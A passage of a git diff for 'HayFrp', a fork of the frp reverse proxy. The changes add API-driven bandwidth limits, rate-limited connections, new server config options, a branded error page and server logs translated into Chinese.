http.Get(s.Host.String()) + if err != nil { + return 0, 0, err + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return 0, 0, err + } + + er := &ErrHTTPStatus{} + if err = json.Unmarshal(body, er); err != nil { + return 0, 0, err + } + if er.Status != 200 { + return 0, 0, er + } + + response := &ResponseGetLimit{} + if err = json.Unmarshal(body, response); err != nil { + return 0, 0, err + } + + // 这里直接返回 uint64 应该问题不大 + return response.MaxIn, response.MaxOut, nil + +} + +func BoolToString(val bool) (str string) { + if val { + return "true" + } + return "false" + +} + +type ErrHTTPStatus struct { + Status int `json:"status"` + Text string `json:"message"` +} + +func (e ErrHTTPStatus) Error() string { + t := time.Now() + layout := "2006-01-02 15:04:05" + str := t.Format(layout) + switch e.Status { + case 403: + return fmt.Sprintf("HayFrpAPI return error.\n"+str+" [E] [api/hayfrp.go:465] [HayFrp] API返回错误,状态码:%d 文本:%s\n"+str+" [E] [hayfrp.go:470] [HayFrp] 根据状态码判定,问题为隧道被禁止或者无权启用隧道\n"+str+" [W] [hayfrp.go:475] [HayFrp] 客户端可能会在20s后重新尝试链接......\n"+str+" [W] [hayfrp.go:480] [HayFrp] 如果无法链接,请到面板检查隧道状态\n"+str+" [W] [hayfrp.go:485] [HayFrp] 若仍然出现问题,请截图至QQ群或和谐论坛反馈\n"+str+" [W] [hayfrp.go:490] [HayFrp] 注意,截图时请为Token打码,否则有泄露风险!", e.Status, e.Text) + case 404: + return fmt.Sprintf("HayFrpAPI return error.\n"+str+" [E] [api/hayfrp.go:466] [HayFrp] API返回错误,状态码:%d 文本:%s\n"+str+" [E] [hayfrp.go:471] [HayFrp] 根据状态码判定,问题为没有找到隧道或者API出现故障\n"+str+" [W] [hayfrp.go:476] [HayFrp] 客户端可能会在20s后重新尝试链接......\n"+str+" [W] [hayfrp.go:481] [HayFrp] 如果无法链接,请到面板检查隧道状态\n"+str+" [W] [hayfrp.go:486] [HayFrp] 若仍然出现问题,请截图至QQ群或和谐论坛反馈\n"+str+" [W] [hayfrp.go:491] [HayFrp] 注意,截图时请为Token打码,否则有泄露风险!", e.Status, e.Text) + case 520: + return fmt.Sprintf("HayFrpAPI return error.\n"+str+" [E] [api/hayfrp.go:467] [HayFrp] API返回错误,状态码:%d 文本:%s\n"+str+" [E] [hayfrp.go:472] [HayFrp] 根据状态码判定,问题为API网关出现故障\n"+str+" [W] [hayfrp.go] [HayFrp:477] 客户端可能会在20s后重新尝试链接......\n"+str+" [W] [hayfrp.go:482] [HayFrp] 如果无法链接,请到面板检查隧道状态\n"+str+" [W] [hayfrp.go:487] [HayFrp] 若仍然出现问题,请截图至QQ群或和谐论坛反馈\n"+str+" [W] [hayfrp.go:492] [HayFrp] 注意,截图时请为Token打码,否则有泄露风险!", e.Status, e.Text) + case 503: + return fmt.Sprintf("HayFrpAPI return error.\n"+str+" [E] [api/hayfrp.go:468] [HayFrp] API返回错误,状态码:%d 文本:%s\n"+str+" [E] [hayfrp.go:473] [HayFrp] 根据状态码判定,问题为API请求了过大进行限流\n"+str+" [W] [hayfrp.go:478] [HayFrp] 客户端可能会在20s后重新尝试链接......\n"+str+" [W] [hayfrp.go:483] [HayFrp] 如果无法链接,请到面板检查隧道状态\n"+str+" [W] [hayfrp.go:488] [HayFrp] 若仍然出现问题,请截图至QQ群或和谐论坛反馈\n"+str+" [W] [hayfrp.go:493] [HayFrp] 注意,截图时请为Token打码,否则有泄露风险!", e.Status, e.Text) + default: + return fmt.Sprintf("HayFrpAPI return error.\n"+str+" [E] [api/hayfrp.go:469] [HayFrp] API返回错误,状态码:%d 文本:%s\n"+str+" [E] [hayfrp.go:474] [HayFrp] 目前HayFrp无法状态码判定问题......\n"+str+" [W] [hayfrp.go:479] [HayFrp] 客户端可能会在20s后重新尝试链接......\n"+str+" [W] [hayfrp.go:484] [HayFrp] 如果无法链接,请到面板检查隧道状态\n"+str+" [W] [hayfrp.go:489] [HayFrp] 若仍然出现问题,请截图至QQ群或和谐论坛反馈\n"+str+" [W] [hayfrp.go:494] [HayFrp] 注意,截图时请为Token打码,否则有泄露风险!", e.Status, e.Text) + } +} + +type ResponseGetLimit struct { + MaxIn uint64 `json:"max-in"` + MaxOut uint64 `json:"max-out"` +} + +type ResponseCheckToken struct { + Success bool `json:"success"` + Message string `json:"message"` +} + +type ResponseCheckProxy struct { + Success bool `json:"success"` + Message string `json:"message"` +} + +type ErrCheckTokenFail struct { + Message string +} + +type ErrCheckProxyFail struct { + Message string +} + +func (e ErrCheckTokenFail) Error() string { + return e.Message +} + +func (e ErrCheckProxyFail) Error() string { + return e.Message +} diff --git a/extend/cumu/cumu.go b/extend/cumu/cumu.go new file mode 100644 index 00000000..aa469f25 --- /dev/null +++ b/extend/cumu/cumu.go @@ -0,0 +1,66 @@ +package cumu + +import ( + "net" + "sync" +) + +// Conn 速度累计 +type Conn struct { + net.Conn + + inCount int64 + outCount int64 + + inCountLock sync.Mutex + outCountLock sync.Mutex +} + +// NewCumuConn ... +func NewCumuConn(conn net.Conn) *Conn { + return &Conn{ + Conn: conn, + inCount: 0, + outCount: 0, + } +} + +func (c *Conn) Read(p []byte) (n int, err error) { + n, err = c.Conn.Read(p) + if err != nil { + return + } + c.outCountLock.Lock() + defer c.outCountLock.Unlock() + c.outCount += int64(n) + return +} + +func (c *Conn) Write(p []byte) (n int, err error) { + n, err = c.Conn.Write(p) + if err != nil { + return + } + c.inCountLock.Lock() + defer c.inCountLock.Unlock() + c.inCount += int64(n) + return +} + +// InCount get in bound byte count +func (c *Conn) InCount() int64 { + c.inCountLock.Lock() + defer c.inCountLock.Unlock() + in := c.inCount + c.inCount = 0 + return in +} + +// OutCount get out bound byte count +func (c *Conn) OutCount() int64 { + c.outCountLock.Lock() + defer c.outCountLock.Unlock() + out := c.outCount + c.outCount = 0 + return out +} diff --git a/extend/limit/limit.go b/extend/limit/limit.go new file mode 100644 index 00000000..d5f93592 --- /dev/null +++ b/extend/limit/limit.go @@ -0,0 +1,43 @@ +package limit + +import ( + "io" + "net" +) + +const ( + B uint64 = 1 << (10 * (iota)) + KB + MB + GB + TB + PB + EB +) + +const burstLimit = 1024 * 1024 * 1024 + +type LimitConn struct { + net.Conn + + lr io.Reader + lw io.Writer +} + +func NewLimitConn(maxread, maxwrite uint64, c net.Conn) LimitConn { + // 这里不知道为什么要 49 才能对的上真实速度 + // 49 是根据 wget 速度来取的,测试了 512、1024、2048、4096、8192 等多种速度下都很准确 + return LimitConn{ + lr: NewReaderWithLimit(c, maxread*49), + lw: NewWriterWithLimit(c, maxwrite*49), + Conn: c, + } +} + +func (c LimitConn) Read(p []byte) (n int, err error) { + return c.lr.Read(p) +} + +func (c LimitConn) Write(p []byte) (n int, err error) { + return c.lw.Write(p) +} diff --git a/extend/limit/reader.go b/extend/limit/reader.go new file mode 100644 index 00000000..cac8fb30 --- /dev/null +++ b/extend/limit/reader.go @@ -0,0 +1,63 @@ +package limit + +import ( + "context" + "io" + "sync" + "time" + + "golang.org/x/time/rate" +) + +type Reader struct { + r io.Reader + limiter *rate.Limiter + ctx context.Context + mux sync.Mutex +} + +// NewReader returns a reader that implements io.Reader with rate limiting. +func NewReader(r io.Reader) *Reader { + return &Reader{ + r: r, + ctx: context.Background(), + mux: sync.Mutex{}, + } +} + +func NewReaderWithLimit(r io.Reader, speed uint64) *Reader { + rr := &Reader{ + r: r, + ctx: context.Background(), + mux: sync.Mutex{}, + } + rr.SetRateLimit(speed) + return rr +} + +// SetRateLimit sets rate limit (bytes/sec) to the reader. +func (s *Reader) SetRateLimit(bytesPerSec uint64) { + s.mux.Lock() + defer s.mux.Unlock() + + s.limiter = rate.NewLimiter(rate.Limit(bytesPerSec), burstLimit) + s.limiter.AllowN(time.Now(), burstLimit) // spend initial burst +} + +// Read reads bytes into p. +func (s *Reader) Read(p []byte) (int, error) { + s.mux.Lock() + defer s.mux.Unlock() + + if s.limiter == nil { + return s.r.Read(p) + } + n, err := s.r.Read(p) + if err != nil { + return n, err + } + if err := s.limiter.WaitN(s.ctx, n); err != nil { + return n, err + } + return n, nil +} diff --git a/extend/limit/w_test.go b/extend/limit/w_test.go new file mode 100644 index 00000000..88c22c9a --- /dev/null +++ b/extend/limit/w_test.go @@ -0,0 +1,17 @@ +package limit + +import ( + "fmt" + "net/http" + "testing" +) + +func TestHttp(t *testing.T) { + http.HandleFunc("/test", func(w http.ResponseWriter, r *http.Request) { + lw := NewWriterWithLimit(w, 10*KB) + for { + fmt.Fprintf(lw, "x") + } + }) + http.ListenAndServe(":62542", nil) +} diff --git a/extend/limit/writer.go b/extend/limit/writer.go new file mode 100644 index 00000000..628e2233 --- /dev/null +++ b/extend/limit/writer.go @@ -0,0 +1,63 @@ +package limit + +import ( + "context" + "io" + "sync" + "time" + + "golang.org/x/time/rate" +) + +type Writer struct { + w io.Writer + limiter *rate.Limiter + ctx context.Context + mux sync.Mutex +} + +// NewWriter returns a writer that implements io.Writer with rate limiting. +func NewWriter(w io.Writer) *Writer { + return &Writer{ + w: w, + ctx: context.Background(), + mux: sync.Mutex{}, + } +} + +func NewWriterWithLimit(w io.Writer, speed uint64) *Writer { + ww := &Writer{ + w: w, + ctx: context.Background(), + mux: sync.Mutex{}, + } + ww.SetRateLimit(speed) + return ww +} + +// SetRateLimit sets rate limit (bytes/sec) to the writer. +func (s *Writer) SetRateLimit(bytesPerSec uint64) { + s.mux.Lock() + defer s.mux.Unlock() + + s.limiter = rate.NewLimiter(rate.Limit(bytesPerSec), burstLimit) + s.limiter.AllowN(time.Now(), burstLimit) // spend initial burst +} + +// Write writes bytes from p. +func (s *Writer) Write(p []byte) (int, error) { + s.mux.Lock() + defer s.mux.Unlock() + + if s.limiter == nil { + return s.w.Write(p) + } + n, err := s.w.Write(p) + if err != nil { + return n, err + } + if err := s.limiter.WaitN(s.ctx, n); err != nil { + return n, err + } + return n, err +} diff --git a/g/g.go b/g/g.go new file mode 100644 index 00000000..d2a69ddf --- /dev/null +++ b/g/g.go @@ -0,0 +1,32 @@ +package g + +import ( + config "github.com/fatedier/frp/pkg/config/legacy" +) + +var ( + GlbClientCfg *ClientCfg + GlbServerCfg *ServerCfg +) + +func init() { + GlbClientCfg = &ClientCfg{ + ClientCommonConf: config.GetDefaultClientConf(), + } + GlbServerCfg = &ServerCfg{ + ServerCommonConf: config.GetDefaultServerConf(), + } +} + +type ClientCfg struct { + config.ClientCommonConf + + CfgFile string + ServerUdpPort int // this is configured by login response from frps +} + +type ServerCfg struct { + config.ServerCommonConf + + CfgFile string +} diff --git a/go.mod b/go.mod index 72bbc0ac..8967ce06 100644 --- a/go.mod +++ b/go.mod @@ -41,6 +41,7 @@ require ( github.com/davecgh/go-spew v1.1.1 // indirect github.com/go-jose/go-jose/v4 v4.0.1 // indirect github.com/go-logr/logr v1.4.1 // indirect + github.com/go-ole/go-ole v1.2.6 // indirect github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 // indirect github.com/golang/protobuf v1.5.4 // indirect github.com/golang/snappy v0.0.4 // indirect @@ -60,11 +61,15 @@ require ( github.com/prometheus/common v0.48.0 // indirect github.com/prometheus/procfs v0.12.0 // indirect github.com/rogpeppe/go-internal v1.11.0 // indirect + github.com/shirou/gopsutil v3.21.11+incompatible // indirect github.com/templexxx/cpu v0.1.0 // indirect github.com/templexxx/xorsimd v0.4.2 // indirect github.com/tidwall/match v1.1.1 // indirect github.com/tidwall/pretty v1.2.0 // indirect github.com/tjfoc/gmsm v1.4.1 // indirect + github.com/tklauser/go-sysconf v0.3.14 // indirect + github.com/tklauser/numcpus v0.8.0 // indirect + github.com/yusufpapurcu/wmi v1.2.4 // indirect go.uber.org/mock v0.4.0 // indirect golang.org/x/exp v0.0.0-20221205204356-47842c84f3db // indirect golang.org/x/mod v0.14.0 // indirect diff --git a/go.sum b/go.sum index efcb18ee..e868c361 100644 --- a/go.sum +++ b/go.sum @@ -32,6 +32,8 @@ github.com/go-jose/go-jose/v4 v4.0.1 h1:QVEPDE3OluqXBQZDcnNvQrInro2h0e4eqNbnZSWq github.com/go-jose/go-jose/v4 v4.0.1/go.mod h1:WVf9LFMHh/QVrmqrOfqun0C45tMe3RoiKJMPvgWwLfY= github.com/go-logr/logr v1.4.1 h1:pKouT5E8xu9zeFC39JXRDukb6JFQPXM5p5I91188VAQ= github.com/go-logr/logr v1.4.1/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= +github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= +github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 h1:tfuBGBXKqDEevZMzYi5KSi8KkcZtzBcTgAUUtapy0OI= github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572/go.mod h1:9Pwr4B2jHnOSGXyyzV8ROjYa2ojvAY6HCGYYfMoC3Ls= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= @@ -121,6 +123,8 @@ github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUz github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/samber/lo v1.39.0 h1:4gTz1wUhNYLhFSKl6O+8peW0v2F4BCY034GRpU9WnuA= github.com/samber/lo v1.39.0/go.mod h1:+m/ZKRl6ClXCE2Lgf3MsQlWfh4bn1bz6CXEOxnEXnEA= +github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= +github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0= github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= @@ -148,11 +152,17 @@ github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs= github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= github.com/tjfoc/gmsm v1.4.1 h1:aMe1GlZb+0bLjn+cKTPEvvn9oUEBlJitaZiiBwsbgho= github.com/tjfoc/gmsm v1.4.1/go.mod h1:j4INPkHWMrhJb38G+J6W4Tw0AbuN8Thu3PbdVYhVcTE= +github.com/tklauser/go-sysconf v0.3.14 h1:g5vzr9iPFFz24v2KZXs/pvpvh8/V9Fw6vQK5ZZb78yU= +github.com/tklauser/go-sysconf v0.3.14/go.mod h1:1ym4lWMLUOhuBOPGtRcJm7tEGX4SCYNEEEtghGG/8uY= +github.com/tklauser/numcpus v0.8.0 h1:Mx4Wwe/FjZLeQsK/6kt2EOepwwSl7SmJrK5bV/dXYgY= +github.com/tklauser/numcpus v0.8.0/go.mod h1:ZJZlAY+dmR4eut8epnzf0u/VwodKmryxR8txiloSqBE= github.com/xtaci/kcp-go/v5 v5.6.8 h1:jlI/0jAyjoOjT/SaGB58s4bQMJiNS41A2RKzR6TMWeI= github.com/xtaci/kcp-go/v5 v5.6.8/go.mod h1:oE9j2NVqAkuKO5o8ByKGch3vgVX3BNf8zqP8JiGq0bM= github.com/xtaci/lossyconn v0.0.0-20200209145036-adba10fffc37 h1:EWU6Pktpas0n8lLQwDsRyZfmkPeRbdgPtW609es+/9E= github.com/xtaci/lossyconn v0.0.0-20200209145036-adba10fffc37/go.mod h1:HpMP7DB2CyokmAh4lp0EQnnWhmycP/TvwBGzvuie+H0= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0= +github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= go.uber.org/mock v0.4.0 h1:VcM4ZOtdbR4f6VXfiOpwpVJDL6lCReaZ6mw31wqh7KU= go.uber.org/mock v0.4.0/go.mod h1:a6FSlNadKUHUa9IP5Vyt1zh4fC7uAwxMutEAscFbkZc= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= @@ -201,6 +211,7 @@ golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= diff --git a/package.sh b/package.sh index df36108e..5cc29397 100755 --- a/package.sh +++ b/package.sh @@ -8,7 +8,7 @@ if [ $? -ne 0 ]; then exit 1 fi -frp_version=`./bin/frps --version` +frp_version="0.59.0-HAYFRP" echo "build version: $frp_version" # cross_compiles diff --git a/pkg/config/legacy/conversion.go b/pkg/config/legacy/conversion.go index dd8c4a11..670c5d6e 100644 --- a/pkg/config/legacy/conversion.go +++ b/pkg/config/legacy/conversion.go @@ -153,6 +153,9 @@ func Convert_ServerCommonConf_To_v1(conf *ServerCommonConf) *v1.ServerConfig { out.Transport.TLS.TrustedCaFile = conf.TLSTrustedCaFile out.MaxPortsPerClient = conf.MaxPortsPerClient + out.ApiBaseUrl = conf.ApiBaseUrl + out.ApiToken = conf.ApiToken + out.EnableApi = conf.EnableApi for _, v := range conf.HTTPPlugins { out.HTTPPlugins = append(out.HTTPPlugins, v1.HTTPPluginOptions{ diff --git a/pkg/config/legacy/server.go b/pkg/config/legacy/server.go index c58f76ad..0f5c323f 100644 --- a/pkg/config/legacy/server.go +++ b/pkg/config/legacy/server.go @@ -198,6 +198,10 @@ type ServerCommonConf struct { PprofEnable bool `ini:"pprof_enable" json:"pprof_enable"` // NatHoleAnalysisDataReserveHours specifies the hours to reserve nat hole analysis data. NatHoleAnalysisDataReserveHours int64 `ini:"nat_hole_analysis_data_reserve_hours" json:"nat_hole_analysis_data_reserve_hours"` + + EnableApi bool `ini:"api_enable" json:"api_enable"` + ApiBaseUrl string `ini:"api_baseurl" json:"api_baseurl"` + ApiToken string `ini:"api_token" json:"api_token"` } // GetDefaultServerConf returns a server configuration with reasonable defaults. @@ -214,6 +218,9 @@ func GetDefaultServerConf() ServerCommonConf { TCPMux: true, AllowPorts: make(map[int]struct{}), HTTPPlugins: make(map[string]HTTPPluginOptions), + EnableApi: true, + ApiBaseUrl: "https://api.hayfrp.org/NodeAPI", + ApiToken: "UNSET|0", } } @@ -246,6 +253,11 @@ func UnmarshalServerConfFromIni(source interface{}) (ServerCommonConf, error) { common.AllowPortsStr = allowPortStr } + // API + common.ApiToken = s.Key("api_token").String() + common.ApiBaseUrl = s.Key("api_baseurl").String() + common.EnableApi = s.Key("api_enable").MustBool(true) + // plugin.xxx pluginOpts := make(map[string]HTTPPluginOptions) for _, section := range f.Sections() { diff --git a/pkg/config/v1/server.go b/pkg/config/v1/server.go index 3108cd34..ce4865c1 100644 --- a/pkg/config/v1/server.go +++ b/pkg/config/v1/server.go @@ -93,6 +93,10 @@ type ServerConfig struct { // NatHoleAnalysisDataReserveHours specifies the hours to reserve nat hole analysis data. NatHoleAnalysisDataReserveHours int64 `json:"natholeAnalysisDataReserveHours,omitempty"` + EnableApi bool `json:"api_enable,omitempty"` + ApiBaseUrl string `json:"api_baseurl,omitempty"` + ApiToken string `json:"api_token,omitempty"` + AllowPorts []types.PortsRange `json:"allowPorts,omitempty"` HTTPPlugins []HTTPPluginOptions `json:"httpPlugins,omitempty"` @@ -114,6 +118,10 @@ func (c *ServerConfig) Complete() { if c.WebServer.Port > 0 { c.WebServer.Addr = util.EmptyOr(c.WebServer.Addr, "0.0.0.0") } + // 添加对 EnableApi, ApiBaseUrl 和 ApiToken 的处理 + c.EnableApi = util.EmptyOr(c.EnableApi, false) + c.ApiBaseUrl = util.EmptyOr(c.ApiBaseUrl, "") + c.ApiToken = util.EmptyOr(c.ApiToken, "") c.VhostHTTPTimeout = util.EmptyOr(c.VhostHTTPTimeout, 60) c.DetailedErrorsToClient = util.EmptyOr(c.DetailedErrorsToClient, lo.ToPtr(true)) diff --git a/pkg/consts/consts.go b/pkg/consts/consts.go new file mode 100644 index 00000000..9bf5880b --- /dev/null +++ b/pkg/consts/consts.go @@ -0,0 +1,32 @@ +// Copyright 2016 fatedier, fatedier@gmail.com +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package consts + +var ( + // proxy status + Idle string = "idle" + Working string = "working" + Closed string = "closed" + Online string = "online" + Offline string = "offline" + + // proxy type + TcpProxy string = "tcp" + UdpProxy string = "udp" + HttpProxy string = "http" + HttpsProxy string = "https" + StcpProxy string = "stcp" + XtcpProxy string = "xtcp" +) diff --git a/pkg/util/version/version.go b/pkg/util/version/version.go index 561a52e7..64084ed9 100644 --- a/pkg/util/version/version.go +++ b/pkg/util/version/version.go @@ -14,7 +14,7 @@ package version -var version = "0.59.0" +var version = "0.59.0-HAYFRP" func Full() string { return version diff --git a/pkg/util/vhost/resource.go b/pkg/util/vhost/resource.go index a65e2997..64a826c3 100644 --- a/pkg/util/vhost/resource.go +++ b/pkg/util/vhost/resource.go @@ -29,23 +29,53 @@ var NotFoundPagePath = "" const ( NotFound = ` - -Not Found - - - -

The page you requested was not found.

-

Sorry, the page you are looking for is currently unavailable.
-Please try again later.

-

The server is powered by frp.

-

Faithfully yours, frp.

- + + 503 Service Unavailable - 服务不可用 + + + + +
+

HayFrp Server ERROR
503 Service Unavailable - 服务不可用

+

您访问的网站或服务暂时不可用

+

如果您是隧道所有者,造成无法访问的原因可能有:

+ +

如果您是普通访问者,您可以:

+ +

Powered by HayFrp | Based on HayFrp Server

+
+ ` ) @@ -69,7 +99,7 @@ func getNotFoundPageContent() []byte { func NotFoundResponse() *http.Response { header := make(http.Header) - header.Set("server", "frp/"+version.Full()) + header.Set("server", "hayfrp/"+version.Full()) header.Set("Content-Type", "text/html") content := getNotFoundPageContent() diff --git a/server/control.go b/server/control.go index 0b6b3174..da59b88a 100644 --- a/server/control.go +++ b/server/control.go @@ -19,12 +19,11 @@ import ( "fmt" "net" "runtime/debug" + "strings" "sync" "sync/atomic" "time" - "github.com/samber/lo" - "github.com/fatedier/frp/pkg/auth" "github.com/fatedier/frp/pkg/config" v1 "github.com/fatedier/frp/pkg/config/v1" @@ -40,6 +39,10 @@ import ( "github.com/fatedier/frp/server/controller" "github.com/fatedier/frp/server/metrics" "github.com/fatedier/frp/server/proxy" + "github.com/fatedier/golib/control/shutdown" + "github.com/samber/lo" + + "github.com/fatedier/frp/extend/api" ) type ControlManager struct { @@ -84,6 +87,20 @@ func (cm *ControlManager) GetByID(runID string) (ctl *Control, ok bool) { return } +func (cm *ControlManager) SearchByID(runId string) (ctl *Control, ok bool) { + cm.mu.RLock() + defer cm.mu.RUnlock() + for k, v := range cm.ctlsByRunID { + if strings.IndexAny(k, runId+"-") > -1 { + if v == nil { + return + } + ctl, ok = cm.ctlsByRunID[k] + } + } + return +} + func (cm *ControlManager) Close() error { cm.mu.Lock() defer cm.mu.Unlock() @@ -140,8 +157,18 @@ type Control struct { // replace old controller instantly. runID string + // control status(API) + status string + readerShutdown *shutdown.Shutdown + writerShutdown *shutdown.Shutdown + managerShutdown *shutdown.Shutdown + allShutdown *shutdown.Shutdown + mu sync.RWMutex + inLimit uint64 + outLimit uint64 + // Server configuration information serverCfg *v1.ServerConfig @@ -224,7 +251,7 @@ func (ctl *Control) Close() error { func (ctl *Control) Replaced(newCtl *Control) { xl := ctl.xl - xl.Infof("Replaced by client [%s]", newCtl.runID) + xl.Infof("由客户端更改 [%s]", newCtl.runID) ctl.runID = "" ctl.conn.Close() } @@ -233,18 +260,18 @@ func (ctl *Control) RegisterWorkConn(conn net.Conn) error { xl := ctl.xl defer func() { if err := recover(); err != nil { - xl.Errorf("panic error: %v", err) + xl.Errorf("[HayFrp] 致命错误(Panic爆了): %v", err) xl.Errorf(string(debug.Stack())) } }() select { case ctl.workConnCh <- conn: - xl.Debugf("new work connection registered") + xl.Debugf("新活动链接已注册") return nil default: - xl.Debugf("work connection pool is full, discarding") - return fmt.Errorf("work connection pool is full, discarding") + xl.Debugf("[HayFrp] 活动连接池已满,正在丢弃") + return fmt.Errorf("[HayFrp] 活动连接池已满,正在丢弃") } } @@ -256,7 +283,7 @@ func (ctl *Control) GetWorkConn() (workConn net.Conn, err error) { xl := ctl.xl defer func() { if err := recover(); err != nil { - xl.Errorf("panic error: %v", err) + xl.Errorf("[HayFrp] 致命错误(Panic爆了): %v", err) xl.Errorf(string(debug.Stack())) } }() @@ -269,7 +296,7 @@ func (ctl *Control) GetWorkConn() (workConn net.Conn, err error) { err = pkgerr.ErrCtlClosed return } - xl.Debugf("get work connection from pool") + xl.Debugf("[HayFrp] 从池中获取工作连接") default: // no work connections available in the poll, send message to frpc to get more if err := ctl.msgDispatcher.Send(&msg.ReqWorkConn{}); err != nil { @@ -280,12 +307,12 @@ func (ctl *Control) GetWorkConn() (workConn net.Conn, err error) { case workConn, ok = <-ctl.workConnCh: if !ok { err = pkgerr.ErrCtlClosed - xl.Warnf("no work connections available, %v", err) + xl.Warnf("[HayFrp] 没有可用的工作连接, %v", err) return } case <-time.After(time.Duration(ctl.serverCfg.UserConnTimeout) * time.Second): - err = fmt.Errorf("timeout trying to get work connection") + err = fmt.Errorf("[HayFrp] 尝试获取工作连接超时") xl.Warnf("%v", err) return } @@ -304,7 +331,7 @@ func (ctl *Control) heartbeatWorker() { xl := ctl.xl go wait.Until(func() { if time.Since(ctl.lastPing.Load().(time.Time)) > time.Duration(ctl.serverCfg.Transport.HeartbeatTimeout)*time.Second { - xl.Warnf("heartbeat timeout") + xl.Warnf("[HayFrp] 心跳超时") ctl.conn.Close() return } @@ -354,7 +381,7 @@ func (ctl *Control) worker() { } metrics.Server.CloseClient() - xl.Infof("client exit success") + xl.Infof("[HayFrp] 客户端退出成功") close(ctl.doneCh) } @@ -391,12 +418,12 @@ func (ctl *Control) handleNewProxy(m msg.Message) { ProxyName: inMsg.ProxyName, } if err != nil { - xl.Warnf("new proxy [%s] type [%s] error: %v", inMsg.ProxyName, inMsg.ProxyType, err) + xl.Warnf("[HayFrp] 新的隧道 [%s] 类型 [%s] 发生错误: %v", inMsg.ProxyName, inMsg.ProxyType, err) resp.Error = util.GenerateResponseErrorString(fmt.Sprintf("new proxy [%s] error", inMsg.ProxyName), err, lo.FromPtr(ctl.serverCfg.DetailedErrorsToClient)) } else { resp.RemoteAddr = remoteAddr - xl.Infof("new proxy [%s] type [%s] success", inMsg.ProxyName, inMsg.ProxyType) + xl.Infof("[HayFrp] 新的隧道 [%s] 类型 [%s] 成功", inMsg.ProxyName, inMsg.ProxyType) metrics.Server.NewProxy(inMsg.ProxyName, inMsg.ProxyType) } _ = ctl.msgDispatcher.Send(resp) @@ -420,14 +447,14 @@ func (ctl *Control) handlePing(m msg.Message) { err = ctl.authVerifier.VerifyPing(inMsg) } if err != nil { - xl.Warnf("received invalid ping: %v", err) + xl.Warnf("[HayFrp] 收到无效Ping: %v", err) _ = ctl.msgDispatcher.Send(&msg.Pong{ - Error: util.GenerateResponseErrorString("invalid ping", err, lo.FromPtr(ctl.serverCfg.DetailedErrorsToClient)), + Error: util.GenerateResponseErrorString("[HayFrp] 无效Ping", err, lo.FromPtr(ctl.serverCfg.DetailedErrorsToClient)), }) return } ctl.lastPing.Store(time.Now()) - xl.Debugf("receive heartbeat") + xl.Debugf("[HayFrp] 收到心跳") _ = ctl.msgDispatcher.Send(&msg.Pong{}) } @@ -450,17 +477,37 @@ func (ctl *Control) handleCloseProxy(m msg.Message) { xl := ctl.xl inMsg := m.(*msg.CloseProxy) _ 